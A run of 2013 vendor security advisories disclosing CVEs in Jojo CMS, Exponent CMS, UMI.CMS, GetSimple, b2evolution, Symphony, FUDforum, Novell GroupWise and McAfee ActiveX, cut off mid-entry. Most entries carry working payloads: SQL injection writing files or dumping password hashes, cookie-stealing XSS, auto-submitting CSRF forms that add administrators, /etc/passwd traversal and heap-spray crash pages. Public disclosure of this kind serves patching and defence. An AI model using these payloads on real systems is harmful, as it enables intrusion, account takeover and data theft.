High-Tech Bridge Security Advisories

[HTB23153]: Multiple Vulnerabilities in Jojo CMS

Wed, 15 May 2013 00:00:00 +0200

Product: Jojo CMS v1.2
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79]
Risk level: Medium
Creater: The Jojo Team
Vendor Notification: 2013-04-17 14:54:18
Public Disclosure: May 15, 2013
CVE References: CVE-2013-3081, CVE-2013-3082
CVSSv2 Base Scores: 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Jojo CMS, which can be exploited to perform SQL Injection and Cross-Site Scripting (XSS) attacks.

1) SQL Injection in Jojo CMS: CVE-2013-3081

The vulnerability is caused by insufficient filtration of user-supplied input passed to the "X-Forwarded-For" HTTP header in "/articles/test/" URI. A remote unauthenticated attacker can send a specially crafted HTTP request and execute arbitrary SQL commands in application’s database.

The PoC code below will create a file "/var/www/file.php" containing content of "comment" table (if web and database server configurations allow):

POST /articles/test/ HTTP/1.1
X-Forwarded-For: ' OR 1=1 INTO OUTFILE '/var/www/file.php' --
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

name=name&email=user%40mail.com&website=&anchortext=&comment=comment&submit=Post+Comment

The above-mentioned PoC code can be used to execute arbitrary PHP code on the vulnerable system if the attacker creates a comment containing PHP code.

Successful exploitation of the vulnerability requires that "jojo comments" plugin is enabled (disabled by default).

2) Cross-Site Scripting (XSS) in Jojo CMS: CVE-2013-3082

The vulnerability exists due to insufficient filtration of user-supplied data passed to "search" HTTP POST parameter in "/forgot-password/" URI. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display user's cookies:

<form action="http://jojo/forgot-password/" method="post">
<input type="hidden" name="search" value='<script>alert(document.cookike);</script>'>
<input type="submit" id="btn">
</form>

[HTB23154]: Multiple Vulnerabilities in Exponent CMS

Wed, 15 May 2013 00:00:00 +0200

Product: Exponent CMS v2.2.0 beta 3
Vulnerability Type: SQL Injection [CWE-89], PHP File Inclusion [CWE-98]
Risk level: High
Creater: Online Innovative Creations
Vendor Notification: 2013-04-24 12:39:31
Public Disclosure: May 15, 2013
CVE References: CVE-2013-3294, CVE-2013-3295
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Exponent CMS, which can be exploited to execute arbitrary SQL commands in the database of vulnerable application and execute arbitrary PHP code on the vulnerable system.

1) SQL Injection in Exponent CMS: CVE-2013-3294

The vulnerability exists due to insufficient filtration of "src" and "username" HTTP GET parameters passed to "/index.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

Depending on database and system configuration, the PoC (Proof-of-Concept) code below will create a "/var/www/file.php" file with PHP function 'phpinfo()':

<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="action" value="login">
<input type="hidden" name="int" value="1">
<input type="hidden" name="module" value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src" value="' UNION SELECT '<? phpinfo(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type="hidden" name="username" value="' UNION SELECT '<? phpinfo(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type="submit" id="btn">
</form>

The second PoC will attempt to create "/var/www/file.txt" file, containing usernames and hashed passwords of all application's users:

<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="action" value="login">
<input type="hidden" name="int" value="1">
<input type="hidden" name="module" value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src" value="' UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- ">
<input type="hidden" name="username" value="' UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- ">
<input type="submit" id="btn">
</form>

2) PHP File Inclusion in Exponent CMS: CVE-2013-3295

The vulnerability is caused by improper filtration of user-supplied input passed via the "page" HTTP GET parameter to "/install/popup.php" script, which is publicly accessible after CMS installation by default. A remote unauthenticated attacker can include arbitrary PHP files from the local system using directory traversal sequences with URL-encoded NULL byte, read arbitrary files or execute arbitrary PHP code on the target system.

The PoC code below will output the content of '/etc/passwd' file on vulnerable system:

http://[host]/install/popup.php?page=../../../../etc/passwd%00

[HTB23151]: Cross-Site Request Forgery (CSRF) in UMI.CMS

Wed, 08 May 2013 00:00:00 +0200

Product: UMI.CMS v2.9
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk level: Medium
Creater: OOO Umisoft
Vendor Notification: 2013-04-03 12:15:26
Public Disclosure: May 8, 2013
CVE Reference: CVE-2013-2754
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered CSRF vulnerability in UMI.CMS, which can be exploited to perform Cross-Site Request Forgery (CSRF) attacks and create new administrator in the vulnerable application.

1) Cross-site Request Forgery (CSRF) in UMI.CMS: CVE-2013-2754

The application allows authorized administrator to perform certain sensitive actions via HTTP requests without making proper validity checks to verify the source of these HTTP requests. This can be exploited to perform any actions with administrator privileges, such as adding new administrator to the system.

A remote attacker can create a specially crafted webpage, trick a logged-in administrator to open it and create new user with administrative privileges.

A basic CSRF exploit below will create new administrator with "csrfuser" as a login and "password" as a password:

<form action="http://[host]/admin/users/add/user/do/" method="post" name="main">
<input type="hidden" name="data[new][login]" value="csrfuser">
<input type="hidden" name="data[new][password][]" value="password">
<input type="hidden" name="data[new][e-mail]" value="user@mail.com">
<input type="hidden" name="data[new][is_activated]" value="1">
<input type="hidden" name="data[new][fname]" value="username">
<input type="hidden" name="data[new][groups][]" value="1">
<input type="hidden" name="data[new][groups][]" value="2">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>

[HTB23141]: Multiple Cross-Site Scripting (XSS) vulnerabilities in GetSimple CMS

Wed, 01 May 2013 00:00:00 +0200

Product: GetSimple CMS v3.1.2
Vulnerability Type: Cross-Site Scripting [CWE-79]
Risk level: Low
Creater: get-simple.info
Vendor Notification: 2013-01-23 11:24:13
Public Disclosure: May 1, 2013
CVE Reference: CVE-2013-1420
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GetSimple CMS, which can be exploited to perform Cross-Site Scripting (XSS) attacks. The application has XSS filter, however it can be bypassed as demonstrated below.

1) Cross-Site Scripting (XSS) in GetSimple CMS: CVE-2013-1420

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "id" HTTP GET parameter to "/admin/backup-edit.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:

http://[host]/admin/backup-edit.php?p=1&id="><scri<script></script>pt>alert(document.cookie);</scri<script></script>pt>

1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "path" HTTP GET parameter to "/admin/upload.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:

http://[host]/admin/upload.php?path="><scri<script></script>pt>alert(document.cookie);</scri<script></script>pt>

1.3 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "title" and "menu" HTTP GET parameters to "/admin/edit.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation examples below use the "alert()" JavaScript function to display administrator's cookies:

http://[host]/admin/edit.php?title="><scri<script></script>pt>alert(document.cookie);</scri<script></script>pt>
http://[host]/admin/edit.php?menu="><scri<script></script>pt>alert(document.cookie);</scri<script></script>pt>

1.4 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "path" and "returnid" HTTP GET parameters to "/admin/filebrowser.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation examples below use the "alert()" JavaScript function to display administrator's cookies:

http://[host]/admin/filebrowser.php?path="><scri<script></script>pt>alert(document.cookie);</scri<script></script>pt>
http://[host]/admin/filebrowser.php?returnid="><scri<script></script>pt>alert(document.cookie);</scri<script></script>pt>

[HTB23152]: SQL Injection in b2evolution

Wed, 01 May 2013 00:00:00 +0200

Product: b2evolution v4.1.6
Vulnerability Type: SQL Injection [CWE-89]
Risk level: Medium
Creater: b2evolution Group
Vendor Notification: 2013-04-10 12:55:18
Public Disclosure: May 1, 2013
CVE Reference: CVE-2013-2945
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in b2evolution, which can be exploited to alter SQL requests passed to the vulnerable application's database.

1) SQL Injection in b2evolution: CVE-2013-2945

The vulnerability exists due to insufficient validation of HTTP GET parameter "show_statuses" in "/blogs/admin.php" script. A remote authenticated administrator can execute arbitrary SQL commands in application's database.

Depending on database and system configuration, PoC code below will create a "/tmp/file.txt" file, containing MySQL version:

http://[host]/blogs/admin.php?submit=Search&ctrl=items&tab=full&blog=1&show_statuses[]=1') )) UNION SELECT version() INTO OUTFILE '/tmp/file.txt' --

This vulnerability is also exploitable via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit malicious web page with CSRF exploit.

Basic CSRF exploit:

<img src="http://[host]/blogs/admin.php?submit=Search&ctrl=items&tab=full&blog=1&show_statuses[]=1') )) UNION SELECT version() INTO OUTFILE '/tmp/file.txt' --">

[HTB23150]: Multiple Vulnerabilities in KrisonAV CMS

Wed, 17 Apr 2013 00:00:00 +0200

Product: KrisonAV CMS v3.0.1
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
Risk level: Medium
Creater: http://www.krisonav.com
Vendor Notification: 2013-03-27 12:17:18
Public Disclosure: April 17, 2013
CVE References: CVE-2013-2712, CVE-2013-2713
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712

The vulnerability exists due to insufficient filtration of user-supplied data passed to "content" HTTP GET parameter via "/services/get_article.php" script. A remote attacker can trick a user to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of the vulnerable website.

The exploitation example below uses JavaScript "alert()" function to display user's cookies:

http://[host]/services/get_article.php?content=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

2) Сross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CVE-2013-2713

The vulnerability exists due to insufficient verification of the HTTP request origin in "/users_maint.html" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a new account with administrative privileges.

PoC (Proof-of-Concept) below will create a new account with login "username" and password "password":

<form action="http://[host]/users_maint.html?itemid=52&maint=1&ccsForm=users" method="post" name="f1">
<input type="hidden" name="disabledCheckBox" value="1">
<input type="hidden" name="username" value="username">
<input type="hidden" name="password" value="password">
<input type="hidden" name="groups_index" value="20">
<input type="hidden" name="email" value="newuser@mail.com">
<input type="hidden" name="Button_Insert" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

[HTB23146]: PHP Code Injection in FUDforum

Wed, 03 Apr 2013 00:00:00 +0200

Product: FUDforum v3.0.4
Vulnerability Type: Code Injection [CWE-94]
Risk level: High
Creater: FUDforum
Vendor Notification: 2013-02-21 17:23:25
Public Disclosure: April 3, 2013
CVE Reference: CVE-2013-2267
CVSSv2 Base Score: 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered vulnerability in FUDforum, which can be exploited to execute arbitrary PHP code on the target system.

1) PHP Code Injection in FUDforum: CVE-2013-2267

The vulnerability exists due to insufficient validation of HTTP POST parameters "regex_str", "regex_str_opt" and "regex_with" in "/adm/admreplace.php" script before using them in the "preg_replace()" function. A remote administrator can send a specially crafted HTTP POST request, inject and execute arbitrary PHP code on the target system with privileges of the web server.

The following PoC (Proof of Concept) code executes the "phpinfo()" function:

POST /adm/admreplace.php HTTP/1.1
Host: fudforum
Referer: http://fudforum/adm/admreplace.php?&SQ=8928823a5edf50cc642792c2fa4d8863
Cookie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_str=(.*)&regex_str_opt=e&regex_with=phpinfo()

Successful exploitation of the vulnerability requires administrative privileges within the application.

[HTB23149]: Multiple XSS in Hero Framework

Wed, 10 Apr 2013 00:00:00 +0200

Product: Hero Framework v3.791
Vulnerability Type: Cross-Site Scripting [CWE-79]
Risk level: Medium
Creater: http://www.heroframework.com/
Vendor Notification: 2013-03-20 13:20:46
Public Disclosure: April 10, 2013
CVE Reference: CVE-2013-2649
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Hero Framework, which can be exploited to perform cross-site scripting attacks against vulnerable application.

1) Multiple XSS in Hero Framework: CVE-2013-2649

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data in "username" HTTP GET parameter passed to "/users/login" URL. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in victim's browser in context of the vulnerable website.

The exploitation example below uses JavaScript 'alert()' function to display user's cookies:

http://[host]/users/login?username=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data in "error" HTTP GET parameter passed to "/users/forgot_password" URL. The parameter is passed to the vulnerable script in base64 encoding. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in victoms's browser in context of the vulnerable website.

The exploitation example below uses the same XSS payload as above encoded in base64 to display user's cookies:

http://[host]/users/forgot_password?error=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==

[HTB23131]: Novell GroupWise Multiple Remote Code Execution Vulnerabilities

Wed, 03 Apr 2013 00:00:00 +0200

Product: Novell GroupWise v12.0.0.8586 and probably prior
Vulnerability Type: Untrusted Pointer Dereference [CWE-822]
Risk level: Critical
Creater: Novell Inc.
Vendor Notification: 2012-11-26 12:43:40
Public Disclosure: April 3, 2013
CVE Reference: CVE-2013-0804
CVSSv2 Base Score: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered multiple untrusted pointer dereference vulnerabilities in Novell GroupWise, which could be exploited to compromise a remote system.

1) Untrusted Pointer Dereference in Novell GroupWise: CVE-2013-0804

1.1 The vulnerability exists due to an untrusted pointer dereference error in the InvokeContact() method within the ActiveX control (gwabdlg.dll, GUID {54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF}, located by default in "C:\Program Files\Novell\GroupWise\gwabdlg.dll"

A remote attacker can pass an arbitrary value to the pInvokeParams argument of the InvokeContact() method and trigger the ACCESS_VIOLATION exception on a MOV EAX, DWORD PTR [EAX+4] instruction.

Since it is conceivable to supply a custom pointer, an attacker can exploit this vulnerability relying on the heap-spray technique. After the crash, the application moves the value of the supplied pointer plus four bytes into the EAX register.

5722D301 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]

Later this value will be allocated into the stack:

5722D304 8985 24FFFFFF MOV DWORD PTR SS:[EBP-DC],EAX

The code continues its flow and enters a switch case algorithm:

5722D30A 83BD 24FFFFFF 01 CMP DWORD PTR SS:[EBP-DC],1
5722D311 0F84 57010000 JE gwabdlg.5722D46E
5722D317 83BD 24FFFFFF 02 CMP DWORD PTR SS:[EBP-DC],2
5722D31E 0F84 00010000 JE gwabdlg.5722D424
5722D324 83BD 24FFFFFF 03 CMP DWORD PTR SS:[EBP-DC],3
5722D32B 0F84 83010000 JE gwabdlg.5722D4B4
5722D331 83BD 24FFFFFF 04 CMP DWORD PTR SS:[EBP-DC],4
5722D338 0F84 AF020000 JE gwabdlg.5722D5ED
5722D33E 83BD 24FFFFFF 05 CMP DWORD PTR SS:[EBP-DC],5
5722D345 0F84 9A030000 JE gwabdlg.5722D6E5
5722D34B 83BD 24FFFFFF 06 CMP DWORD PTR SS:[EBP-DC],6

If an attacker can specify a custom switch value, in this case the number 3, it will jump to the address 0x5722D4B4
5722D4B4 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
5722D4B7 8945 D4 MOV DWORD PTR SS:[EBP-2C],EAX
5722D4BA 8365 D8 00 AND DWORD PTR SS:[EBP-28],0
5722D4BE 8D45 D8 LEA EAX,DWORD PTR SS:[EBP-28]
5722D4C1 50 PUSH EAX
5722D4C2 68 58122D57 PUSH gwabdlg.572D1258
5722D4C7 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C]
5722D4CA 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
5722D4CD 8B4D D4 MOV ECX,DWORD PTR SS:[EBP-2C]
5722D4D0 8B49 30 MOV ECX,DWORD PTR DS:[ECX+30]
5722D4D3 8B00 MOV EAX,DWORD PTR DS:[EAX]
5722D4D5 51 PUSH ECX
5722D4D6 FF10 CALL DWORD PTR DS:[EAX]

After entering into this function, and since the EAX register is completely under the attacker control, it is possible to supply another custom pointer that will be executed after the code reaches the CALL DWORD PTR DS:[EAX] instruction:

0C0C0C0C 0C 0C OR AL,0C
0C0C0C0E 0C 0C OR AL,0C
0C0C0C10 0300 ADD EAX,DWORD PTR DS:[EAX]
0C0C0C12 0000 ADD BYTE PTR DS:[EAX],AL
0C0C0C14 0C 0C OR AL,0C
0C0C0C16 0C 0C OR AL,0C
0C0C0C18 0C 0C OR AL,0C
0C0C0C1A 0C 0C OR AL,0C

Crash details:
(162c.5ae0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c08 ebx=572caacc ecx=57307f00 edx=0029677a esi=00296754 edi=001deda4
eip=5722d301 esp=001dec3c ebp=001ded24 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Novell\GroupWise\gwabdlg.dll -
gwabdlg!DllUnregisterServer+0x4c10e:
5722d301 8b4004 mov eax,dword ptr [eax+4] ds:0023:0c0c0c0c=????????

The following PoC will crash Internet Explorer 7/8/9:
<html>

<head>
<title> Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586</title>
</head>
<script language='vbscript'>
Sub PoC()
arg1=202116104
target.InvokeContact arg1
End Sub
</script>
<body>
<h3> Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586</h3>
<h4> Untrusted Pointer Dereference PoC </h4>
<hr>
This simple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address 0x0c0c0c0c.<BR><BR>
<input language=VBScript onclick=PoC() type=button value="Proof of Concept">
</body>
<object classid='clsid:54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF'
id='Target'></object>
</html>

Code execution PoC:
The following PoC code will first spray the heap with the 0x0C byte, as a typical "No Operation" sled for a heap-spray exploitation. Following this the 0xCC byte (Interrupt 3 - trap to debugger) illustrates the beginning of shellcode.
https://www.htbridge.com/advisory/HTB23131_POC_1.zip
Archive's Password: HTB23131_novell(gw)

1.2 The vulnerability exists due to an untrusted pointer dereference error in the GenerateSummaryPage() method within the ActiveX control (gwabdlg.dll, GUID {54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF}, located by default in "C:\Program Files\Novell\GroupWise\gwabdlg.dll".

A remote attacker can pass an arbitrary value to the pInvokeParams argument of the GenerateSummaryPage() method and trigger the ACCESS_VIOLATION exception on a MOV EAX, DWORD PTR [EAX+4] instruction.

Since it is conceivable to supply a custom pointer, an attacker can exploit this vulnerability relying on the heap-spray technique. After the crash, the application moves the value of the supplied pointer plus four bytes into the EAX register.

5722D301 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]

Later this value will be allocated into the stack:

5722D304 8985 24FFFFFF MOV DWORD PTR SS:[EBP-DC],EAX

The code continues its flow and enters a switch case algorithm:
5722D30A 83BD 24FFFFFF 01 CMP DWORD PTR SS:[EBP-DC],1
5722D311 0F84 57010000 JE gwabdlg.5722D46E
5722D317 83BD 24FFFFFF 02 CMP DWORD PTR SS:[EBP-DC],2
5722D31E 0F84 00010000 JE gwabdlg.5722D424
5722D324 83BD 24FFFFFF 03 CMP DWORD PTR SS:[EBP-DC],3
5722D32B 0F84 83010000 JE gwabdlg.5722D4B4
5722D331 83BD 24FFFFFF 04 CMP DWORD PTR SS:[EBP-DC],4
5722D338 0F84 AF020000 JE gwabdlg.5722D5ED
5722D33E 83BD 24FFFFFF 05 CMP DWORD PTR SS:[EBP-DC],5
5722D345 0F84 9A030000 JE gwabdlg.5722D6E5
5722D34B 83BD 24FFFFFF 06 CMP DWORD PTR SS:[EBP-DC],6

If an attacker can specify a custom switch value, in this case the number 3, it will jump to address 0x5722D4B4
5722D4B4 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
5722D4B7 8945 D4 MOV DWORD PTR SS:[EBP-2C],EAX
5722D4BA 8365 D8 00 AND DWORD PTR SS:[EBP-28],0
5722D4BE 8D45 D8 LEA EAX,DWORD PTR SS:[EBP-28]
5722D4C1 50 PUSH EAX
5722D4C2 68 58122D57 PUSH gwabdlg.572D1258
5722D4C7 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C]
5722D4CA 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
5722D4CD 8B4D D4 MOV ECX,DWORD PTR SS:[EBP-2C]
5722D4D0 8B49 30 MOV ECX,DWORD PTR DS:[ECX+30]
5722D4D3 8B00 MOV EAX,DWORD PTR DS:[EAX]
5722D4D5 51 PUSH ECX
5722D4D6 FF10 CALL DWORD PTR DS:[EAX]

After entering into this function, and since the EAX register is completely under the attacker control, it is possible to supply another custom pointer that will be executed after the code reaches the CALL DWORD PTR DS:[EAX] instruction.
0C0C0C0C 0C 0C OR AL,0C
0C0C0C0E 0C 0C OR AL,0C
0C0C0C10 0300 ADD EAX,DWORD PTR DS:[EAX]
0C0C0C12 0000 ADD BYTE PTR DS:[EAX],AL
0C0C0C14 0C 0C OR AL,0C
0C0C0C16 0C 0C OR AL,0C
0C0C0C18 0C 0C OR AL,0C
0C0C0C1A 0C 0C OR AL,0C

Crash details:
(162c.5ae0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c08 ebx=572caacc ecx=57307f00 edx=0029677a esi=00296754 edi=001deda4
eip=5722d301 esp=001dec3c ebp=001ded24 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Novell\GroupWise\gwabdlg.dll -
gwabdlg!DllUnregisterServer+0x4c10e:
5722d301 8b4004 mov eax,dword ptr [eax+4] ds:0023:0c0c0c0c=????????

The following PoC will crash Internet Explorer 7/8/9:
<html>

<head>
<title>Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586</title>
</head>
<script language='vbscript'>
Sub PoC()
arg1=202116108
arg2="defaultV"
arg3="defaultV"
target.GenerateSummaryPage arg1 ,arg2 ,arg3
End Sub
</script>
<body>
<h3> Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586</h3>
<h4>Untrusted Pointer Dereference PoC</h4>
<hr>
This simple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address
0x0c0c0c0c.<BR><BR>
<input language=VBScript onclick=PoC() type=button value="Proof of Concept">
</body>
<object classid='clsid:54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF'
id='Target'></object>
</html>

Code execution PoC:
The following PoC code will first spray the heap with the 0x0C byte, as a typical "No Operation" sled for a heap-spray exploitation. Following this the 0xCC byte (Interrupt 3 - trap to debugger) illustrates the beginning of shellcode.
https://www.htbridge.com/advisory/HTB23131_POC_2.zip
Archive's Password: HTB23131_novell(gw)

1.3 The vulnerability exists due to an untrusted pointer dereference error in the SecManageRecipientCertificates() method within the ActiveX control (gwmim1.ocx, GUID {BFEC5A01-1EB1-11D1-BC96-00805FC1C85A}, located by default in "C:\Program Files\Novell\GroupWise\gwmim1.ocx".

A remote attacker can pass an arbitrary value to the lProp argument of the SecManageRecipientCertificates() method and trigger the ACCESS_VIOLATION exception on a MOV EDX,DWORD PTR DS:[ECX] instruction.
Since it is possible to supply a specially crafted pointer, an attacker can abuse this flaw relying on the heap-spray technique. After the crash, the application moves the value of the supplied pointer into the EDX register.
10014805 MOV EDX,DWORD PTR DS:[ECX]

Later the same operation is performed, however this time it is the EAX register that inherits the untrusted pointer value.
10014807 MOV EAX,DWORD PTR DS:[EDX]

Eventually code execution is reached at the address 0x10014809
10014809 CALL EAX

Crash details:
(5c78.58f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0275c46c ebx=00000000 ecx=0c0c0c0c edx=0000001b esi=0956de40 edi=00000000
eip=10014805 esp=0275c45c ebp=0275c55c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwmim1.ocx -
gwmim1!DllUnregisterServer+0x8cb5:
10014805 8b11 mov edx,dword ptr [ecx] ds:0023:0c0c0c0c=????????

The following PoC will crash Internet Explorer 7/8/9:
<html>

<head>
<title>Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586</title>
</head>
<script language='vbscript'>
Sub PoC()
arg1=202116108
target.SecManageRecipientCertificates arg1
End Sub
</script>
<body>
<h3>Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586</h3>
<h4> Untrusted Pointer Dereference PoC </h4>
<hr>
This simple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address 0x0c0c0c0c.<BR><BR>
<input language=VBScript onclick=PoC() type=button value="Proof of Concept">
</body>
<object classid='clsid:BFEC5A01-1EB1-11D1-BC96-00805FC1C85A'id='Target'></object>
</html>

Code execution PoC:
The following PoC code will first spray the heap with the 0x0C byte, as a typical "No Operation" sled for a heap-spray exploitation. Following this the 0xCC byte (Interrupt 3 - trap to debugger) illustrates the beginning of shellcode.
https://www.htbridge.com/advisory/HTB23131_POC_3.zip
Archive's Password: HTB23131_novell(gw)

[HTB23148]: SQL Injection Vulnerability in Symphony

Wed, 03 Apr 2013 00:00:00 +0200

Product: Symphony v2.3.1
Vulnerability Type: SQL Injection [CWE-89]
Risk level: Medium
Creater: http://getsymphony.com/
Vendor Notification: 2013-03-13 13:13:50
Public Disclosure: April 3, 2013
CVE Reference: CVE-2013-2559
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Symphony, which can be exploited to alter SQL requests to database of the vulnerable application.

1) SQL Injection in Symphony: CVE-2013-2559

The vulnerability exists due to insufficient filtration of "sort" HTTP GET parameter passed via "/symphony/system/authors/" URL to "/index.php" script. A remote authenticated administrator can execute arbitrary SQL commands in the application's database.

Depending on database and system configuration, this PoC (Proof of Concept) code will create "/var/www/file.txt" file, containing users account information (logins, hashed passwords, etc.) from the "authors" table:

http://[host]/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick the logged-in administrator to visit a web page with CSRF exploit:

<img src="http://[host]/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20">

[HTB23128]: McAfee Virtual Technician ActiveX Control Insecure Method

Wed, 27 Mar 2013 00:00:00 +0100

Product: McAfee Virtual Technician (MVT) 6.5.0.2101 v6.5.0.2101 and probably prior
Vulnerability Type: Exposed Unsafe ActiveX Method [CWE-618]
Risk level: Medium
Creater: McAfee
Vendor Notification: 2012-11-19 12:00:00
Public Disclosure: March 27, 2013
CVE Reference: CVE-2012-5879
CVSSv2 Base Score: 5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P)
Vulnerability Details: High-Tech Bridge Security Research Lab discovered vulnerability in McAfee Virtual Technician ActiveX control, which can be exploited by remote malicious person to overwrite arbitrary files with garbage data on a vulnerable system.

1) Insecure method in McAfee Virtual Technician ActiveX control: CVE-2012-5879

The vulnerability exists due to the ActiveX control including the insecure "Save()" method in "McHealthCheck.dll" DLL. This can be exploited to corrupt or create arbitrary files in the context of the current user.

The following PoC code is available:

<html>
<h4>McAfee Virtual Technician [McHealthCheck.dll] v.6.5.0.2101</h4>
